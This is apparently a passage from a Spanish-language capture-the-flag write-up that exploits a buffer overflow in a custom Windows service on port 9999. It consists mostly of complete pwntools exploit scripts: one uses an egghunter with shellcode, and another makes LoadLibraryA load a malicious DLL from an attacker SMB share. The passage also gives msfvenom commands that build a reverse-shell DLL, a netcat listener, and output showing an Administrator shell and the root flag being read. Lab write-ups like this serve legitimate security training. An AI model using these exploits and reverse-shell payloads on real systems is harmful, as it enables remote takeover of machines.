shellcode += b"\x86\xf7\xd4\x22\x86\x6c\x9c\x14\x36\xe6\xf0"
shellcode += b"\x98\xbd\xaa\xe0\x2b\xb3\x62\x06\x9c\x7e\x55"
shellcode += b"\x29\x1d\xd2\xa5\x28\x9d\x29\xfa\x8a\x9c\xe1"
shellcode += b"\x0f\xca\xd9\x1c\xfd\x9e\xb2\x6b\x50\x0f\xb7"
shellcode += b"\x26\x69\xa4\x8b\xa7\xe9\x59\x5b\xc9\xd8\xcf"
shellcode += b"\xd0\x90\xfa\xee\x35\xa9\xb2\xe8\x5a\x94\x0d"
shellcode += b"\x82\xa8\x62\x8c\x42\xe1\x8b\x23\xab\xce\x79"
shellcode += b"\x3d\xeb\xe8\x61\x48\x05\x0b\x1f\x4b\xd2\x76"
shellcode += b"\xfb\xde\xc1\xd0\x88\x79\x2e\xe1\x5d\x1f\xa5"
shellcode += b"\xed\x2a\x6b\xe1\xf1\xad\xb8\x99\x0d\x25\x3f"
shellcode += b"\x4e\x84\x7d\x64\x4a\xcd\x26\x05\xcb\xab\x89"
shellcode += b"\x3a\x0b\x14\x75\x9f\x47\xb8\x62\x92\x05\xd6"
shellcode += b"\x75\x20\x30\x94\x76\x3a\x3b\x88\x1e\x0b\xb0"
shellcode += b"\x47\x58\x94\x13\x2c\x96\xde\x3e\x04\x3f\x87"
shellcode += b"\xaa\x15\x22\x38\x01\x59\x5b\xbb\xa0\x21\x98"
shellcode += b"\xa3\xc0\x24\xe4\x63\x38\x54\x75\x06\x3e\xcb"
shellcode += b"\x76\x03\x5d\x8a\xe4\xcf\x8c\x29\x8d\x6a\xd1"
payload = b""
payload += subesp + egghunter + junk + jmpeax
payload += b"A" * 4
payload += egg + shellcode
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Este script tambien constara de 2 etapas, cuando el egg
y el shellcode esten en algun lugar de la memoria ejecutara el egghunter
que nos buscara el egg que es la cadena w00tw00t
y ejecutara todo lo que esta despues osea el shellcode
#!/usr/bin/python3
from pwn import remote, p32, asm
subesp = asm("sub esp, 0x64")
egghunter = b""
egghunter += b"\x42\x33\xd2\x66\x81\xca\xff\x0f\x33\xdb\x42\x53\x53\x52\x53\x53\x53"
egghunter += b"\x6a\x29\x58\xb3\xc0\x64\xff\x13\x83\xc4\x0c\x5a\x83\xc4\x08\x3c\x05"
egghunter += b"\x74\xdf\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xda\xaf\x75\xd7\xff\xe7"
offset = 66
junk = b"A" * (offset - len(subesp + egghunter))
jmpeax = p32(0x719023b3)
egg = b"w00t" * 2
shellcode = b""
shellcode += b"\xb8\x7d\xe5\x1d\x63\xdb\xcf\xd9\x74\x24\xf4"
shellcode += b"\x5e\x29\xc9\xb1\x52\x31\x46\x12\x03\x46\x12"
shellcode += b"\x83\x93\x19\xff\x96\x97\x0a\x82\x59\x67\xcb"
shellcode += b"\xe3\xd0\x82\xfa\x23\x86\xc7\xad\x93\xcc\x85"
shellcode += b"\x41\x5f\x80\x3d\xd1\x2d\x0d\x32\x52\x9b\x6b"
shellcode += b"\x7d\x63\xb0\x48\x1c\xe7\xcb\x9c\xfe\xd6\x03"
shellcode += b"\xd1\xff\x1f\x79\x18\xad\xc8\xf5\x8f\x41\x7c"
shellcode += b"\x43\x0c\xea\xce\x45\x14\x0f\x86\x64\x35\x9e"
shellcode += b"\x9c\x3e\x95\x21\x70\x4b\x9c\x39\x95\x76\x56"
shellcode += b"\xb2\x6d\x0c\x69\x12\xbc\xed\xc6\x5b\x70\x1c"
shellcode += b"\x16\x9c\xb7\xff\x6d\xd4\xcb\x82\x75\x23\xb1"
shellcode += b"\x58\xf3\xb7\x11\x2a\xa3\x13\xa3\xff\x32\xd0"
shellcode += b"\xaf\xb4\x31\xbe\xb3\x4b\x95\xb5\xc8\xc0\x18"
shellcode += b"\x19\x59\x92\x3e\xbd\x01\x40\x5e\xe4\xef\x27"
shellcode += b"\x5f\xf6\x4f\x97\xc5\x7d\x7d\xcc\x77\xdc\xea"
shellcode += b"\x21\xba\xde\xea\x2d\xcd\xad\xd8\xf2\x65\x39"
shellcode += b"\x51\x7a\xa0\xbe\x96\x51\x14\x50\x69\x5a\x65"
shellcode += b"\x79\xae\x0e\x35\x11\x07\x2f\xde\xe1\xa8\xfa"
shellcode += b"\x71\xb1\x06\x55\x32\x61\xe7\x05\xda\x6b\xe8"
shellcode += b"\x7a\xfa\x94\x22\x13\x91\x6f\xa5\x16\x6c\x61"
shellcode += b"\x39\x4f\x72\x7d\x40\x34\xfb\x9b\x28\x5a\xaa"
shellcode += b"\x34\xc5\xc3\xf7\xce\x74\x0b\x22\xab\xb7\x87"
shellcode += b"\xc1\x4c\x79\x60\xaf\x5e\xee\x80\xfa\x3c\xb9"
shellcode += b"\x9f\xd0\x28\x25\x0d\xbf\xa8\x20\x2e\x68\xff"
shellcode += b"\x65\x80\x61\x95\x9b\xbb\xdb\x8b\x61\x5d\x23"
shellcode += b"\x0f\xbe\x9e\xaa\x8e\x33\x9a\x88\x80\x8d\x23"
shellcode += b"\x95\xf4\x41\x72\x43\xa2\x27\x2c\x25\x1c\xfe"
shellcode += b"\x83\xef\xc8\x87\xef\x2f\x8e\x87\x25\xc6\x6e"
shellcode += b"\x39\x90\x9f\x91\xf6\x74\x28\xea\xea\xe4\xd7"
shellcode += b"\x21\xaf\x05\x3a\xe3\xda\xad\xe3\x66\x67\xb0"
shellcode += b"\x13\x5d\xa4\xcd\x97\x57\x55\x2a\x87\x12\x50"
shellcode += b"\x76\x0f\xcf\x28\xe7\xfa\xef\x9f\x08\x2f"
payload = b""
payload += subesp + egghunter + junk + jmpeax
payload += b"A" * 4
payload += egg + shellcode
shell = remote("10.10.11.115", 9999)
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Enviamos el exploit a la maquina que corre el servicio en el puerto 9999
y recibimos una shell como Administrator
donde podemos leer la ultima flag de root
❯ python3 exploit.py
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
hancliffe\administrator
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
7cc**************************564
C:\Windows\system32>
Buffer Overflow - LoadLibraryA
La siguiente forma de explotarlo involucra la función LoadLibraryA
, esta permite cargar librerias por lo que podriamos simplemente cargar un archivo .dll
malicioso
0:000> !py mona getiat -m myfirstapp.exe -s loadlibrary
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m myfirstapp.exe -s loadlibrary
---------- Mona command started on 2024-07-24 21:21:57 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules myfirstapp.exe
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
- (Re)setting logfile C:\mona\iatsearch.txt
Getting IAT for MyFirstApp.exe.
Enumerating IAT
0x719081c8 | At 0x719081c8 in myfirstapp (base + 0x000081c8) : 0x778c0ed0 (ptr to KERNEL32.loadlibrarya) - [KERNEL32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.3672, 0x4140
1 entries found
La función LoadLibraryA es bastante simple, solo recibe como parametro
el nombre de la libreria, por lo que si la controlamos podemos cargar un .dll
malicioso
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
Como no tenemos suficiente espacio en el stack para toda la string la empujaremos con push
, iniciamos definiendo la string, dandole la vuelta y pasandola a hexadecimal
smb = b"\\\\192.168.233.129\\user\\shell.dll"[::-1].hex()
Para evitar solaparnos cuando empujemos datos al stack restaremos al puntero esp
0x64
bytes, luego con un xor
hacemos que ebx
valga 0
y lo empujamos al stack, esto ya que un null byte o 0x00
servirá para indicar que ahi termina la string
dll = b""
dll += asm("sub esp, 0x64")
dll += asm("xor ebx, ebx")
dll += asm("push ebx")
Ya con un null terminator al final podemos empujar toda la string con la ruta smb al .dll
malicioso al stack mediante un bucle for
de 4
en 4
bytes
for i in range(0, len(smb), 8):
dll += asm("push 0x" + smb[i:8+i])
Al finalizar el bucle la string deberia estar en esp
, sin embargo necesitamos un puntero a esp
por lo que con push
empujamos el puntero al stack, para finalizar simplemente llamamos al desreferenciado de la función LoadLibraryA
para cargarla
dll += asm("push esp")
dll += asm("call [0x719081c8]")
Nuestro exploit es bastante simple, empuja de 4
bytes en 4
bytes que es el tamaño de un dword
toda la string y toma el puntero a esa ruta para llamar a LoadLibraryA
#!/usr/bin/python3
from pwn import remote, log, sys, p32, asm
if len(sys.argv) < 2:
log.failure(f"Usage: python3 {sys.argv[0]} <port>")
sys.exit(1)
smb = b"\\\\192.168.233.129\\user\\shell.dll"[::-1].hex()
dll = b""
dll += asm("sub esp, 0x64")
dll += asm("xor ebx, ebx")
dll += asm("push ebx")
for i in range(0, len(smb), 8):
dll += asm("push 0x" + smb[i:8+i])
dll += asm("push esp")
dll += asm("call [0x719081c8]")
offset = 66
junk = b"A" * (offset - len(dll))
jmpeax = p32(0x719023b3)
payload = dll + junk + jmpeax
shell = remote("192.168.100.5", sys.argv[1])
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Para probar en local creamos con msfvenom
un dll que al cargarse ejecute una calculadora, luego lo compartimos en un recurso usando smbserver
❯ msfvenom -p windows/exec CMD=calc.exe -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll
❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Podemos ver como se comporta en el debugger, al terminar los push de la string la ruta smb
se encuentra en el stack y al empujar esp
ahora en el stack se encuentra el puntero a esa string y ese será el argumento a la funcion LoadLibraryA
, si solo continuamos con la ejecución se carga la libreria maliciosa y se abre la calculadora
0:000> bp 0x719023b3
0:000> g
Breakpoint 0 hit
eax=0127fed6 ebx=00000138 ecx=00e73da0 edx=000a7190 esi=71901a3d edi=71901a3d
eip=719023b3 esp=0127ff1c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
MyFirstApp+0x23b3:
719023b3 ffe0 jmp eax {0127fed6}
0:000> u eax Ld
0127fed6 83ec64 sub esp,64h
0127fed9 31db xor ebx,ebx
0127fedb 53 push ebx
0127fedc 682e646c6c push 6C6C642Eh
0127fee1 6868656c6c push 6C6C6568h
0127fee6 6865725c73 push 735C7265h
0127feeb 68395c7573 push 73755C39h
0127fef0 68332e3132 push 32312E33h
0127fef5 68382e3233 push 33322E38h
0127fefa 68322e3136 push 36312E32h
0127feff 685c5c3139 push 39315C5Ch
0127ff04 54 push esp
0127ff05 ff15c8819071 call dword ptr [MyFirstApp+0x81c8 (719081c8)]
0:000> g 0x0127ff04
eax=0127fed6 ebx=00000000 ecx=00e73da0 edx=000a7190 esi=71901a3d edi=71901a3d
eip=0127ff04 esp=0127fe94 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0127ff04 54 push esp
0:000> da esp
0127fe94 "\\192.168.233.129\user\shell.dll"
0:000> p
eax=0127fed6 ebx=00000000 ecx=00e73da0 edx=000a7190 esi=71901a3d edi=71901a3d
eip=0127ff05 esp=0127fe90 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
0127ff05 ff15c8819071 call dword ptr [MyFirstApp+0x81c8 (719081c8)] ds:002b:719081c8={KERNEL32!LoadLibraryAStub (778c0ed0)}
0:000> da poi(esp)
0127fe94 "\\192.168.233.129\user\shell.dll"
Ahora que funciona simplemente creamos un nuevo .dll
pero en lugar de una calculadora envia una revshell
a nuestro equipo, en el exploit simplemente modificamos la ruta y la dirección ip a la máquina victima por el puerto 9999
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1786 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll
❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
#!/usr/bin/python3
from pwn import remote, p32, asm
smb = b"\\\\10.10.10.10\\user\\shell.dll"[::-1].hex()
dll = b""
dll += asm("sub esp, 0x64")
dll += asm("xor ebx, ebx")
dll += asm("push ebx")
for i in range(0, len(smb), 8):
dll += asm("push 0x" + smb[i:8+i])
dll += asm("push esp")
dll += asm("call [0x719081c8]")
offset = 66
junk = b"A" * (offset - len(dll))
jmpeax = p32(0x719023b3)
payload = dll + junk + jmpeax
shell = remote("10.10.11.115", 9999)
shell.sendlineafter(b"Username: ", b"alfiansyah")
shell.sendlineafter(b"Password: ", b"K3r4j@@nM4j@pAh!T")
shell.sendlineafter(b"FullName: ", b"Vickry Alfiansyah")
shell.sendlineafter(b"Input Your Code: ", payload)
Enviamos el exploit a la maquina que corre el servicio en el puerto 9999
y recibimos una shell como Administrator
donde podemos leer la ultima flag de root
❯ python3 exploit.py
[+] Opening connection to 10.10.11.115 on port 9999: Done
[*] Closed connection to 10.10.11.115 port 9999
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.115
Microsoft Windows [Version 10.0.19043.1266]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
hancliffe\administrator
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
7cc**************************564
C:\Windows\system32>